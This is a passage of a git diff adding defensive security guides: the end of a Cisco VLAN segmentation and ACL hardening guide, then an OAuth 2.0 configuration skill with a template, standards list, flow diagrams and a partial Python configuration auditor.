10.10.40.1 255.255.255.0 + no shutdown + exit +interface Vlan50 + ip address 10.10.50.1 255.255.255.0 + no shutdown + exit + +! ACL: Corporate to Servers (allow specific services) +ip access-list extended CORP-TO-SERVERS + permit tcp 10.10.10.0 0.0.0.255 10.10.20.0 0.0.0.255 eq 80 + permit tcp 10.10.10.0 0.0.0.255 10.10.20.0 0.0.0.255 eq 443 + permit tcp 10.10.10.0 0.0.0.255 10.10.20.0 0.0.0.255 eq 445 + permit udp 10.10.10.0 0.0.0.255 10.10.20.0 0.0.0.255 eq 53 + permit icmp 10.10.10.0 0.0.0.255 10.10.20.0 0.0.0.255 echo + deny ip any any log + exit + +! ACL: Guest to Internet only (deny all internal) +ip access-list extended GUEST-OUTBOUND + deny ip 10.10.40.0 0.0.0.255 10.0.0.0 0.255.255.255 + deny ip 10.10.40.0 0.0.0.255 172.16.0.0 0.15.255.255 + deny ip 10.10.40.0 0.0.0.255 192.168.0.0 0.0.255.255 + permit tcp 10.10.40.0 0.0.0.255 any eq 80 + permit tcp 10.10.40.0 0.0.0.255 any eq 443 + permit udp 10.10.40.0 0.0.0.255 any eq 53 + deny ip any any log + exit + +! ACL: IoT limited access +ip access-list extended IOT-OUTBOUND + permit tcp 10.10.50.0 0.0.0.255 host 10.10.20.10 eq 443 + permit tcp 10.10.50.0 0.0.0.255 any eq 443 + permit udp 10.10.50.0 0.0.0.255 host 10.10.20.1 eq 53 + deny ip 10.10.50.0 0.0.0.255 10.10.50.0 0.0.0.255 log + deny ip any any log + exit + +! Apply ACLs to VLAN interfaces +interface Vlan10 + ip access-group CORP-TO-SERVERS out + exit +interface Vlan40 + ip access-group GUEST-OUTBOUND in + exit +interface Vlan50 + ip access-group IOT-OUTBOUND in + exit +``` + +### Step 5: Configure DHCP and DNS per VLAN + +``` +! DHCP pools for each VLAN +ip dhcp pool CORPORATE + network 10.10.10.0 255.255.255.0 + default-router 10.10.10.1 + dns-server 10.10.20.10 + domain-name corp.example.com + lease 1 + exit + +ip dhcp pool GUEST + network 10.10.40.0 255.255.255.0 + default-router 10.10.40.1 + dns-server 1.1.1.1 8.8.8.8 + lease 0 4 + exit + +ip dhcp pool IOT + network 10.10.50.0 255.255.255.0 + default-router 10.10.50.1 + dns-server 10.10.20.10 + lease 7 + exit + +! Exclude gateway and server IPs from DHCP pools +ip dhcp excluded-address 10.10.10.1 10.10.10.10 +ip dhcp excluded-address 10.10.40.1 10.10.40.10 +ip dhcp excluded-address 10.10.50.1 10.10.50.10 +``` + +### Step 6: Verify and Test Segmentation + +```bash +# From a workstation on VLAN 10 (Corporate): +# Should succeed: +ping 10.10.20.10 # Server access +curl https://10.10.20.10 # HTTPS to server + +# Should fail: +ping 10.10.40.100 # Guest VLAN - should be blocked +ping 10.10.50.100 # IoT VLAN - should be blocked + +# From a device on VLAN 40 (Guest): +# Should succeed: +ping 8.8.8.8 # Internet access +curl https://www.google.com + +# Should fail: +ping 10.10.10.1 # Corporate gateway - blocked +ping 10.10.20.10 # Server - blocked + +# Verify switch configuration +show vlan brief +show interfaces trunk +show ip arp inspection statistics +show ip dhcp snooping binding +show port-security +show ip access-lists + +# Run VLAN hopping tests (from authorized pentest) +# These should all fail if hardening is correct: +# 1. DTP negotiation - should fail (nonegotiate) +# 2. Double tagging - should fail (native VLAN 998) +# 3. ARP spoofing - should fail (DAI enabled) +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| **VLAN (Virtual LAN)** | Logical network partition at Layer 2 that groups switch ports into isolated broadcast domains, regardless of physical location | +| **802.1Q Trunking** | IEEE standard for VLAN tagging that adds a 4-byte header to Ethernet frames, identifying which VLAN a frame belongs to across trunk links | +| **Inter-VLAN Routing** | Layer 3 forwarding of traffic between VLANs using a router, Layer 3 switch, or firewall with access control lists | +| **Native VLAN** | VLAN assigned to untagged frames on trunk ports; should be set to an unused VLAN to prevent VLAN hopping attacks | +| **DHCP Snooping** | Switch feature that validates DHCP messages and builds a binding table of IP-MAC-port mappings, preventing rogue DHCP servers | +| **Port Security** | Switch feature that limits the number of MAC addresses per port and takes action (shutdown, restrict) when violated | + +## Tools & Systems + +- **Cisco Catalyst/Nexus**: Enterprise managed switches with comprehensive VLAN, trunking, and security feature support +- **HP Aruba CX**: Enterprise switches with REST API management and VLAN segmentation capabilities +- **pfSense/OPNsense**: Open-source firewalls for inter-VLAN routing with stateful access control +- **NetBox**: Open-source IPAM and DCIM tool for documenting VLAN assignments, IP addressing, and network topology +- **Nmap**: Network scanner for verifying segmentation effectiveness by testing reachability across VLAN boundaries + +## Common Scenarios + +### Scenario: Implementing PCI-DSS Compliant Network Segmentation for Retail + +**Context**: A retail chain must isolate their payment card processing systems from the general corporate network to meet PCI-DSS requirements. The current flat network has point-of-sale terminals, employee workstations, inventory servers, and guest WiFi on a single VLAN. The environment uses Cisco Catalyst 9300 switches. + +**Approach**: +1. Design VLAN architecture: POS terminals on VLAN 50 (CDE), corporate on VLAN 10, servers on VLAN 20, guest on VLAN 40 +2. Create VLANs on all access-layer switches and configure access ports by function +3. Configure trunk links between switches with explicit VLAN allowed lists (no "all" trunks) +4. Set native VLAN to 998 (unused) on all trunks and disable DTP on every port +5. Configure ACLs on the Layer 3 switch: CDE VLAN can only reach the payment processor's IP on port 443; no other inter-VLAN traffic to/from CDE +6. Enable DHCP snooping, DAI, and port security on all access ports +7. Verify segmentation with penetration testing from each VLAN, confirming CDE is fully isolated + +**Pitfalls**: +- Leaving DTP enabled on access ports, allowing VLAN hopping to reach the CDE +- Using VLAN 1 as the native VLAN, enabling double-tagging attacks +- Not restricting trunk allowed VLANs, carrying all VLANs including CDE to non-essential switches +- Creating ACLs that allow "any" source to reach CDE servers instead of specific POS terminal IPs + +## Output Format + +``` +## Network Segmentation Implementation Report + +**Network**: Retail Store #42 +**Switch Platform**: Cisco Catalyst 9300 +**VLANs Configured**: 8 + +### VLAN Summary + +| VLAN ID | Name | Subnet | Ports | Purpose | +|---------|------|--------|-------|---------| +| 10 | CORPORATE | 10.10.10.0/24 | Gi1/0/1-24 | Employee workstations | +| 20 | SERVERS | 10.10.20.0/24 | Gi1/0/25-36 | Internal servers | +| 30 | DMZ | 10.10.30.0/24 | Gi2/0/1-4 | Internet-facing | +| 40 | GUEST | 10.10.40.0/24 | WiFi AP trunk | Guest WiFi | +| 50 | CDE | 10.10.50.0/24 | Gi2/0/5-12 | POS terminals | +| 100 | MGMT | 10.10.100.0/24 | Gi1/0/48 | Switch management | +| 998 | NATIVE | N/A | Trunks only | Unused native | +| 999 | QUARANTINE | 10.10.99.0/24 | Unused ports | Isolation | + +### Security Hardening Status + +| Control | Status | +|---------|--------| +| DTP Disabled (nonegotiate) | All ports | +| Native VLAN (998) | All trunks | +| DHCP Snooping | VLANs 10,20,40,50 | +| Dynamic ARP Inspection | VLANs 10,20,40,50 | +| Port Security | Access ports | +| BPDU Guard | Access ports | +| Unused Ports Shutdown | 10 ports in VLAN 999 | +| VTP Transparent Mode | Enabled | +``` diff --git a/skills/configuring-oauth2-authorization-flow/SKILL.md b/skills/configuring-oauth2-authorization-flow/SKILL.md new file mode 100644 index 00000000..c1a2153d --- /dev/null +++ b/skills/configuring-oauth2-authorization-flow/SKILL.md @@ -0,0 +1,111 @@ +--- +name: None +description: Configure secure OAuth 2.0 authorization flows including Authorization Code with PKCE, Client Credentials, and Device Authorization Grant. This skill covers flow selection, PKCE implementation, token +domain: cybersecurity +subdomain: identity-access-management +tags: [iam, identity, access-control, authentication, authorization, oauth2, oidc, pkce] +version: "1.0" +author: mahipal +license: MIT +--- +# Configuring OAuth 2.0 Authorization Flow + +## Overview +Configure secure OAuth 2.0 authorization flows including Authorization Code with PKCE, Client Credentials, and Device Authorization Grant. This skill covers flow selection, PKCE implementation, token lifecycle management, scope design, and alignment with OAuth 2.1 security requirements. + +## Objectives +- Implement Authorization Code flow with PKCE for public and confidential clients +- Configure Client Credentials flow for machine-to-machine communication +- Design least-privilege scope hierarchies +- Implement secure token storage, refresh, and revocation +- Apply OAuth 2.1 best practices and RFC 9700 security recommendations +- Validate token integrity and prevent common OAuth attacks + +## Key Concepts + +### OAuth 2.0 Grant Types +1. **Authorization Code + PKCE**: Recommended for all client types (web, mobile, SPA). PKCE is mandatory in OAuth 2.1. +2. **Client Credentials**: Machine-to-machine authentication without user context. +3. **Device Authorization Grant (RFC 8628)**: For input-constrained devices (smart TVs, CLI tools). +4. **Refresh Token**: Long-lived token to obtain new access tokens without re-authentication. + +### PKCE (Proof Key for Code Exchange) +PKCE (RFC 7636) prevents authorization code interception attacks: +1. Client generates random `code_verifier` (43-128 characters, unreserved URI chars) +2. Client computes `code_challenge = BASE64URL(SHA256(code_verifier))` +3. Authorization request includes `code_challenge` and `code_challenge_method=S256` +4. Token request includes original `code_verifier` +5. Server validates `SHA256(code_verifier)` matches stored `code_challenge` + +### Token Types +- **Access Token**: Short-lived (5-60 min), bearer or DPoP-bound +- **Refresh Token**: Long-lived, single-use with rotation +- **ID Token (OIDC)**: JWT containing user identity claims + +## Implementation Steps + +### Step 1: Authorization Code Flow with PKCE +1. Generate cryptographically random code_verifier (min 43 chars) +2. Compute code_challenge using S256 method +3. Redirect user to authorization endpoint with parameters: + - response_type=code + - client_id, redirect_uri, scope, state + - code_challenge, code_challenge_method=S256 +4. User authenticates and consents +5. Authorization server redirects with authorization code +6. Exchange code + code_verifier for tokens at token endpoint +7. Validate state parameter matches original value + +### Step 2: Scope Design +- Define granular scopes: `read:users`, `write:orders`, `admin:settings` +- Follow least-privilege: request minimum scopes needed +- Implement scope validation on resource server +- Document scope hierarchy and consent requirements + +### Step 3: Token Security +- Store tokens securely (httpOnly cookies for web, keychain for mobile) +- Implement token refresh with rotation (one-time-use refresh tokens) +- Set appropriate expiration: access tokens 5-15 min, refresh tokens 8-24 hrs +- Enable DPoP (Demonstration of Proof-of-Possession) for sender-constrained tokens +- Implement token revocation endpoint + +### Step 4: Client Credentials Flow +1. Register service client with client_id and client_secret +2. Request token: POST /oauth/token with grant_type=client_credentials +3. Include scope for required permissions +4. Store client_secret securely (vault, env vars, not code) +5. Implement certificate-based client authentication for higher assurance + +### Step 5: Security Hardening +- Enforce PKCE for all authorization code flows +- Use exact redirect URI matching (no wildcards) +- Implement CSRF protection with state parameter +- Enable refresh token rotation and revocation on reuse detection +- Apply RFC 9700 security best practices +- Block implicit grant and ROPC (removed in OAuth 2.1) + +## Security Controls +| Control | NIST 800-53 | Description | +|---------|-------------|-------------| +| Access Control | AC-3 | Token-based access enforcement | +| Authentication | IA-5 | Client credential management | +| Session Management | SC-23 | Token lifecycle management | +| Audit | AU-3 | Log all token issuance and revocation | +| Cryptographic Protection | SC-13 | PKCE and token signing | + +## Common Pitfalls +- Using implicit grant (removed in OAuth 2.1) instead of authorization code + PKCE +- Storing tokens in localStorage (XSS vulnerable) instead of httpOnly cookies +- Not validating state parameter enabling CSRF attacks +- Using wildcard redirect URIs allowing open redirect exploitation +- Not implementing refresh token rotation allowing token theft persistence + +## Verification +- [ ] Authorization Code + PKCE flow completes successfully +- [ ] PKCE code_challenge validated at token endpoint +- [ ] State parameter prevents CSRF +- [ ] Access tokens expire within configured lifetime +- [ ] Refresh token rotation issues new refresh token each use +- [ ] Token revocation invalidates both access and refresh tokens +- [ ] Client Credentials flow works for service-to-service calls +- [ ] Scopes correctly enforced at resource server diff --git a/skills/configuring-oauth2-authorization-flow/assets/template.md b/skills/configuring-oauth2-authorization-flow/assets/template.md new file mode 100644 index 00000000..a7153373 --- /dev/null +++ b/skills/configuring-oauth2-authorization-flow/assets/template.md @@ -0,0 +1,72 @@ +# OAuth 2.0 Authorization Flow Configuration Template + +## Application Registration +| Field | Value | +|-------|-------| +| Application Name | | +| Client ID | | +| Client Type | [ ] Public [ ] Confidential | +| Grant Types | [ ] Authorization Code [ ] Client Credentials [ ] Refresh Token [ ] Device Code | +| PKCE Required | [ ] Yes (mandatory for OAuth 2.1) | + +## Redirect URI Configuration +| Environment | URI | Status | +|-------------|-----|--------| +| Development | http://localhost:3000/callback | [ ] Registered | +| Staging | https://staging.example.com/callback | [ ] Registered | +| Production | https://app.example.com/callback | [ ] Registered | + +**Rules:** +- Exact match only - no wildcards +- HTTPS required for non-localhost URIs +- Each URI must be explicitly registered + +## Scope Design +| Scope | Description | Sensitivity | +|-------|-------------|-------------| +| openid | OpenID Connect identity | Low | +| profile | User profile information | Low | +| email | User email address | Low | +| read:users | Read user records | Medium | +| write:users | Modify user records | High | +| admin:settings | Modify system settings | Critical | + +## Token Configuration +| Parameter | Value | Justification | +|-----------|-------|---------------| +| Access Token Lifetime | 15 minutes | Minimize window of exposure | +| Refresh Token Lifetime | 8 hours | Align with business hours | +| Refresh Token Rotation | Enabled | Detect token theft via reuse | +| Refresh Token Absolute Expiry | 24 hours | Force re-authentication daily | +| ID Token Lifetime | 5 minutes | Only used for initial authentication | +| Token Format | JWT (signed) | Enable stateless validation | +| Signing Algorithm | RS256 | Asymmetric verification | + +## Security Checklist +- [ ] PKCE enforced for all authorization code flows +- [ ] Implicit grant disabled +- [ ] ROPC (password) grant disabled +- [ ] State parameter validated +- [ ] Exact redirect URI matching enforced +- [ ] Refresh token rotation enabled +- [ ] Token revocation endpoint active +- [ ] DPoP enabled for high-security APIs +- [ ] Consent screen configured for sensitive scopes +- [ ] Token introspection secured with authentication + +## Client Authentication Methods +| Method | Use Case | Security Level | +|--------|----------|---------------| +| none | Public clients (SPA, mobile) | Requires PKCE | +| client_secret_basic | Server-side web apps | Medium | +| client_secret_post | Server-side web apps | Medium | +| private_key_jwt | High-security services | High | +| tls_client_auth | mTLS-capable services | High | + +## Monitoring & Alerting +- [ ] Token issuance rate monitoring +- [ ] Failed authentication attempts tracking +- [ ] Refresh token reuse detection alerts +- [ ] Scope escalation attempt alerts +- [ ] Unusual client_id activity monitoring +- [ ] Geographic anomaly detection for token usage diff --git a/skills/configuring-oauth2-authorization-flow/references/standards.md b/skills/configuring-oauth2-authorization-flow/references/standards.md new file mode 100644 index 00000000..18c12491 --- /dev/null +++ b/skills/configuring-oauth2-authorization-flow/references/standards.md @@ -0,0 +1,52 @@ +# Standards and References - OAuth 2.0 Authorization Flow + +## Core OAuth Standards +- **RFC 6749**: The OAuth 2.0 Authorization Framework + - https://datatracker.ietf.org/doc/html/rfc6749 +- **RFC 6750**: The OAuth 2.0 Authorization Framework: Bearer Token Usage + - https://datatracker.ietf.org/doc/html/rfc6750 +- **RFC 7636**: Proof Key for Code Exchange (PKCE) + - https://datatracker.ietf.org/doc/html/rfc7636 +- **RFC 9700**: OAuth 2.0 Security Best Current Practice + - https://datatracker.ietf.org/doc/html/rfc9700 +- **OAuth 2.1 Draft**: Consolidation of OAuth 2.0 with PKCE mandatory + - https://oauth.net/2.1/ + +## Token Standards +- **RFC 7519**: JSON Web Token (JWT) + - https://datatracker.ietf.org/doc/html/rfc7519 +- **RFC 7515**: JSON Web Signature (JWS) + - https://datatracker.ietf.org/doc/html/rfc7515 +- **RFC 9449**: OAuth 2.0 Demonstrating Proof of Possession (DPoP) + - https://datatracker.ietf.org/doc/html/rfc9449 +- **RFC 7009**: OAuth 2.0 Token Revocation + - https://datatracker.ietf.org/doc/html/rfc7009 + +## OpenID Connect +- **OpenID Connect Core 1.0**: Authentication layer on OAuth 2.0 + - https://openid.net/specs/openid-connect-core-1_0.html +- **OpenID Connect Discovery**: Provider metadata discovery + - https://openid.net/specs/openid-connect-discovery-1_0.html + +## Additional Grant Types +- **RFC 8628**: OAuth 2.0 Device Authorization Grant + - https://datatracker.ietf.org/doc/html/rfc8628 + +## NIST Standards +- **NIST SP 800-63B**: Digital Identity Guidelines - Authentication +- **NIST SP 800-53 Rev 5**: + - AC-3: Access Enforcement + - IA-5: Authenticator Management + - SC-13: Cryptographic Protection + - SC-23: Session Authenticity + - AU-3: Content of Audit Records + +## Implementation Guides +- **Auth0 PKCE Guide**: https://auth0.com/docs/get-started/authentication-and-authorization-flow/authorization-code-flow-with-pkce +- **Microsoft OIDC Flow**: https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-auth-code-flow +- **Okta OAuth Express**: https://developer.okta.com/blog/2025/07/28/express-oauth-pkce +- **PKCE Explained**: https://oauth.net/2/pkce/ + +## Security References +- **OWASP OAuth 2.0 Security**: Common vulnerabilities and mitigations +- **OAuth Security Workshop**: Annual research on OAuth attack vectors diff --git a/skills/configuring-oauth2-authorization-flow/references/workflows.md b/skills/configuring-oauth2-authorization-flow/references/workflows.md new file mode 100644 index 00000000..3f031218 --- /dev/null +++ b/skills/configuring-oauth2-authorization-flow/references/workflows.md @@ -0,0 +1,123 @@ +# OAuth 2.0 Authorization Flow Workflows + +## Workflow 1: Authorization Code Flow with PKCE + +``` +Client Auth Server Resource Server + | | | + |-- Generate code_verifier --| | + |-- Compute code_challenge --| | + | | | + |--- AuthZ Request --------->| | + | (code_challenge, state) | | + | |-- User Authenticates -->| + | |<- User Consents --------| + |<-- AuthZ Code + state -----| | + | | | + |--- Token Request --------->| | + | (code + code_verifier) | | + |<-- Access + Refresh Token--| | + | | | + |--- API Request (Bearer) ---|------------------------>| + |<-- API Response ---------- |<------------------------| +``` + +### Step-by-Step: +1. Client generates `code_verifier`: random 43-128 char string (A-Z, a-z, 0-9, -._~) +2. Client computes `code_challenge = BASE64URL(SHA256(code_verifier))` +3. Client redirects to: `GET /authorize?response_type=code&client_id=xxx&redirect_uri=xxx&scope=xxx&state=RANDOM&code_challenge=xxx&code_challenge_method=S256` +4. User authenticates and consents at authorization server +5. Server redirects to: `redirect_uri?code=AUTH_CODE&state=RANDOM` +6. Client validates state matches original +7. Client exchanges code: `POST /token` with `grant_type=authorization_code&code=AUTH_CODE&code_verifier=xxx&redirect_uri=xxx` +8. Server validates SHA256(code_verifier) matches stored code_challenge +9. Server returns access_token, refresh_token, id_token (if OIDC) + +## Workflow 2: Client Credentials Flow (Machine-to-Machine) + +``` +Service A Auth Server Service B (API) + | | | + |--- Token Request --------->| | + | (client_id, secret, scope)| | + |<-- Access Token -----------| | + | | | + |--- API Request (Bearer) ---|------------------------>| + |<-- API Response ---------- |<------------------------| +``` + +### Step-by-Step: +1. Service registers with auth server (client_id + client_secret) +2. Service requests token: `POST /token` with `grant_type=client_credentials&scope=api:read` +3. Auth server validates client credentials +4. Auth server returns access_token (no refresh token, no user context) +5. Service calls API with `Authorization: Bearer ACCESS_TOKEN` + +## Workflow 3: Token Refresh with Rotation + +``` +Client Auth Server + | | + |--- Refresh Request ------->| + | (refresh_token_v1) | + |<-- New Access Token -------| + |<-- New Refresh Token (v2) -| + | (v1 invalidated) | + | | + |--- Refresh Request ------->| + | (refresh_token_v2) | + |<-- New Access Token -------| + |<-- New Refresh Token (v3) -| + | | + |--- THEFT: Reuse v1 ------->| + | (DETECTED: v1 reused) | + |<-- REVOKE ALL TOKENS ------| +``` + +### Rotation Detection: +- Each refresh token is single-use +- On reuse of an old refresh token, server detects theft +- All tokens in the grant chain are revoked +- User must re-authenticate + +## Workflow 4: Device Authorization Grant + +``` +Device Auth Server User (Browser) + | | | + |--- Device AuthZ Request -->| | + |<-- device_code, | | + | user_code, | | + | verification_uri -------| | + | | | + |-- Display user_code ------>| | + | to user on screen | | + | |<-- User visits URI -----| + | |<-- Enters user_code ----| + | |<-- Authenticates -------| + | |<-- Consents ------------| + | | | + |--- Poll Token Endpoint --->| | + | (device_code) | | + |<-- Access Token -----------| | +``` + +## Workflow 5: Token Revocation + +### Steps: +1. Client sends revocation request: `POST /revoke` with `token=xxx&token_type_hint=refresh_token` +2. Auth server invalidates the token +3. If refresh token revoked, all associated access tokens also invalidated +4. Server returns 200 OK regardless of whether token was valid (prevents token fishing) + +## Workflow 6: Security Incident - Token Compromise Response + +### Steps: +1. Detect suspicious token usage (unusual IP, impossible travel) +2. Immediately revoke the compromised token via revocation endpoint +3. If refresh token compromised, revoke entire token family +4. Force re-authentication for affected user +5. Audit all API calls made with compromised token +6. Check for scope escalation attempts +7. Review authorization logs for the compromised session +8. Notify affected user and security team diff --git a/skills/configuring-oauth2-authorization-flow/scripts/process.py b/skills/configuring-oauth2-authorization-flow/scripts/process.py new file mode 100644 index 00000000..f3be6a82 --- /dev/null +++ b/skills/configuring-oauth2-authorization-flow/scripts/process.py @@ -0,0 +1,465 @@ +#!/usr/bin/env python3 +""" +OAuth 2.0 Authorization Flow Security Auditor + +Validates OAuth 2.0 configurations, tests PKCE implementation, +checks token security, and audits scope assignments for compliance +with OAuth 2.1 and RFC 9700 best practices. +""" + +import hashlib +import base64 +import secrets +import json +import time +import urllib.request +import urllib.error +import ssl +from typing import Dict, List, Optional, Tuple +from dataclasses import dataclass, field + + +@dataclass +class OAuthConfig: + """OAuth 2.0 configuration to audit.""" + authorization_endpoint: str + token_endpoint: str + revocation_endpoint: str = "" + userinfo_endpoint: str = "" + jwks_uri: str = "" + issuer: str = "" + client_id: str = "" + redirect_uris: List[str] = field(default_factory=list) + scopes_supported: List[str] = field(default_factory=list) + grant_types_supported: List[str] = field(default_factory=list) + response_types_supported: List[str] = field(default_factory=list) + pkce_required: bool = True + token_endpoint_auth_methods: List[str] = field(default_factory=list) + + +@dataclass +class AuditFinding: + """Individual audit finding.""" + category: str + severity: str # critical, high, medium, low, info + title: str + description: str + recommendation: str = "" + reference: str = "" + + +class PKCEHelper: + """PKCE code verifier and challenge generation.""" + + @staticmethod + def generate_code_verifier(length: int = 128) -> str: + """Generate a cryptographically random code verifier (43-128 chars).""" + if length < 43 or length > 128: + raise ValueError("Code verifier length must be between 43 and 128") + unreserved = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~" + return ''.join(secrets.choice(unreserved) for _ in range(length)) + + @staticmethod + def generate_code_challenge(code_verifier: str) -> str: + """Compute S256 code challenge from code verifier.""" + digest = hashlib.sha256(code_verifier.encode('ascii')).digest() + return base64.urlsafe_b64encode(digest).rstrip(b'=').decode('ascii') + + @staticmethod + def verify_pkce(code_verifier: str, code_challenge: str) -> bool: + """Verify PKCE code_verifier matches code_challenge.""" + computed = PKCEHelper.generate_code_challenge(code_verifier) + return secrets.compare_digest(computed, code_challenge) + + @staticmethod + def generate_state() -> str: + """Generate a cryptographically random state parameter.""" + return secrets.token_urlsafe(32) + + +class OAuth2Auditor: + """Audits OAuth 2.0 configurations against security best practices.""" + + DEPRECATED_GRANTS = ["implicit", "password"] + SECURE_AUTH_METHODS = [ + "private_key_jwt", + "tls_client_auth", + "self_signed_tls_client_auth" + ] + + def __init__(self, config: OAuthConfig): + self.config = config + self.findings: List[AuditFinding] = [] + + def audit_all(self) -> List[AuditFinding]: + """Run all OAuth 2.0 security audits.""" + self.findings = [] + self._audit_grant_types() + self._audit_pkce_requirement() + self._audit_redirect_uris() + self._audit_scopes() + self._audit_endpoints_https() + self._audit_token_endpoint_auth() + self._audit_response_types() + self._audit_revocation_endpoint() + self._audit_jwks_endpoint() + self._audit_discovery_endpoint() + return self.findings + + def _audit_grant_types(self): + """Check for deprecated or insecure grant types.""" + for grant in self.config.grant_types_supported: + if grant in self.DEPRECATED_GRANTS: + self.findings.append(AuditFinding( + category="Grant Types", + severity="critical", + title=f"Deprecated grant type: {grant}", + description=f"The '{grant}' grant type is removed in OAuth 2.1 and is insecure.", + recommendation=f"Remove '{grant}' grant type. Use authorization_code with PKCE instead.", + reference="RFC 9700 Section 2.1" + )) + + if "authorization_code" not in self.config.grant_types_supported: + self.findings.append(AuditFinding( + category="Grant Types", + severity="high", + title="Authorization Code grant not supported", + description="The most secure interactive grant type is not enabled.", + recommendation="Enable authorization_code grant type with PKCE.", + reference="OAuth 2.1 Draft" + )) + + if "refresh_token" not in self.config.grant_types_supported: + self.findings.append(AuditFinding( + category="Grant Types", + severity="medium", + title="Refresh token grant not supported", + description="Without refresh tokens, users must re-authenticate more frequently or access tokens must have longer lifetimes.", + recommendation="Enable refresh_token grant with token rotation.", + reference="RFC 6749 Section 6" + )) + + if not any(g in self.DEPRECATED_GRANTS for g in self.config.grant_types_supported): + self.findings.append(AuditFinding( + category="Grant Types", + severity="info", + title="No deprecated grant types detected", + description="All configured grant types are aligned with OAuth 2.1 requirements." + )) + + def _audit_pkce_requirement(self): + """Check if PKCE is required for authorization code flow.""" + if "authorization_code" in self.config.grant_types_supported: + if self.config.pkce_required: + self.findings.append(AuditFinding( + category="PKCE", + severity="info", + title="PKCE is required for authorization code flow", + description="PKCE enforcement is correctly enabled, preventing code interception attacks." + )) + else: + self.findings.append(AuditFinding( + category="PKCE", + severity="critical", + title="PKCE is not required", + description="Authorization code flow without PKCE is vulnerable to code interception attacks.", + recommendation="Enforce PKCE (code_challenge_method=S256) for all authorization code requests.", + reference="RFC 7636, OAuth 2.1 Draft" + )) + + def _audit_redirect_uris(self): + """Check redirect URI security.""" + for uri in self.config.redirect_uris: + if '*' in uri: + self.findings.append(AuditFinding( + category="Redirect URIs", + severity="critical", + title=f"Wildcard redirect URI: {uri}", + description="Wildcard redirect URIs enable open redirect attacks and token theft.", + recommendation="Use exact redirect URI matching. Register each URI explicitly.", + reference="RFC 9700 Section 4.1" + )) + elif uri.startswith("http://") and "localhost" not in uri and "127.0.0.1" not in uri: + self.findings.append(AuditFinding( + category="Redirect URIs", + severity="high", + title=f"Non-HTTPS redirect URI: {uri}", + description="HTTP redirect URIs expose authorization codes in transit.", + recommendation="Use HTTPS for all production redirect URIs.", + reference="RFC 6749 Section 3.1.2.1" + )) + elif uri.startswith("http://localhost") or uri.startswith("http://127.0.0.1"): + self.findings.append(AuditFinding( + category="Redirect URIs", + severity="low", + title=f"Localhost redirect URI: {uri}", + description="Localhost redirect URI detected. Acceptable for native apps per RFC 8252.", + reference="RFC 8252 Section 7.3" + )) + + if not self.config.redirect_uris: + self.findings.append(AuditFinding( + category="Redirect URIs", + severity="medium", + title="No redirect URIs configured for audit", + description="Could not audit redirect URIs - none provided in configuration." + )) + + def _audit_scopes(self): + """Audit scope configuration for least privilege.""" + overly_broad = ["*", "all", "admin", "root", "superuser"] + for scope in self.config.scopes_supported: + if scope.lower() in overly_broad: + self.findings.append(AuditFinding( + category="Scopes", + severity="high", + title=f"Overly broad scope: {scope}", + description="This scope grants excessive permissions violating least privilege.", + recommendation="Replace with granular scopes (e.g., read:users, write:orders).", + reference="NIST SP 800-53 AC-6" + )) + + if self.config.scopes_supported: + granular_pattern = any(':' in s or '.' in s for s in self.config.scopes_supported) + if not granular_pattern: + self.findings.append(AuditFinding( + category="Scopes", + severity="medium", + title="Scopes may lack granularity", + description="Scopes do not follow resource:action pattern (e.g., read:users).", + recommendation="Design scopes using resource:action notation for fine-grained access control." + )) + + def _audit_endpoints_https(self): + """Verify all OAuth endpoints use HTTPS.""" + endpoints = { + "Authorization": self.config.authorization_endpoint, + "Token": self.config.token_endpoint, + "Revocation": self.config.revocation_endpoint, + "UserInfo": self.config.userinfo_endpoint, + "JWKS": self.config.jwks_uri, + } + for name, url in endpoints.items(): + if not url: + continue + if not url.startswith("https://"): + self.findings.append(AuditFinding( + category="Transport Security", + severity="critical", + title=f"{name} endpoint not using HTTPS", + description=f"{name} endpoint ({url}) is not secured with TLS.", + recommendation=f"Configure {name} endpoint to use HTTPS.", + reference="RFC 6749 Section 3.1" + )) + + def _audit_token_endpoint_auth(self): + """Check token endpoint authentication methods.""" + if not self.config.token_endpoint_auth_methods: + return + + if "client_secret_post" in self.config.token_endpoint_auth_methods and \ + "client_secret_basic" in self.config.token_endpoint_auth_methods: + self.findings.append(AuditFinding( + category="Client Authentication", + severity="medium", + title="Basic/POST client authentication supported", + description="client_secret_basic and client_secret_post transmit secrets in requests.", + recommendation="Prefer private_key_jwt or tls_client_auth for higher assurance.", + reference="RFC 9700" + )) + + has_secure = any(m in self.SECURE_AUTH_METHODS for m in self.config.token_endpoint_auth_methods) + if has_secure: + self.findings.append(AuditFinding( + category="Client Authentication", + severity="info", + title="Strong client authentication methods available", + description="Server supports certificate-based or JWT-based client authentication." + )) + + if "none" in self.config.token_endpoint_auth_methods: + self.findings.append(AuditFinding( + category="Client Authentication", + severity="high", + title="Unauthenticated token endpoint access allowed", + description="Token endpoint accepts requests without client authentication.", + recommendation="Require PKCE for public clients and client authentication for confidential clients." + )) + + def _audit_response_types(self): + """Check for insecure response types.""" + insecure_types = ["token", "id_token"] + for rt in self.config.response_types_supported: + if rt in insecure_types: + self.findings.append(AuditFinding( + category="Response Types", + severity="high", + title=f"Implicit response type enabled: {rt}", + description=f"Response type '{rt}' exposes tokens in browser URL/history.", + recommendation="Use 'code' response type with PKCE instead.", + reference="OAuth 2.1 Draft, RFC 9700" + )) + + def _audit_revocation_endpoint(self): + """Check if token revocation endpoint is configured.""" + if not self.config.revocation_endpoint: + self.findings.append(AuditFinding( + category="Token Revocation", + severity="high", + title="No token revocation endpoint configured", + description="Without revocation, compromised tokens cannot be invalidated before expiry.", + recommendation="Implement RFC 7009 token revocation endpoint.", + reference="RFC 7009" + )) + + def _audit_jwks_endpoint(self): + """Check JWKS endpoint availability for token verification.""" + if not self.config.jwks_uri: + self.findings.append(AuditFinding( + category="Token Verification", + severity="medium", + title="No JWKS URI configured", + description="Resource servers need JWKS endpoint to verify JWT signatures.", + recommendation="Publish JWKS endpoint for token signature verification." + )) + + def _audit_discovery_endpoint(self): + """Check OpenID Connect Discovery metadata.""" + if not self.config.issuer: + return + + discovery_url = f"{self.config.issuer.rstrip('/')}/.well-known/openid-configuration" + try: + req = urllib.request.Request( + discovery_url, + headers={'User-Agent': 'OAuth2-Auditor/1.0'} + ) + ctx = ssl.create_default_context() + response = urllib.request.urlopen(req, context=ctx, timeout=10) + + if response.status == 200: + metadata = json.loads(response.read().decode('utf-8')) + self.findings.append(AuditFinding( + category="Discovery", 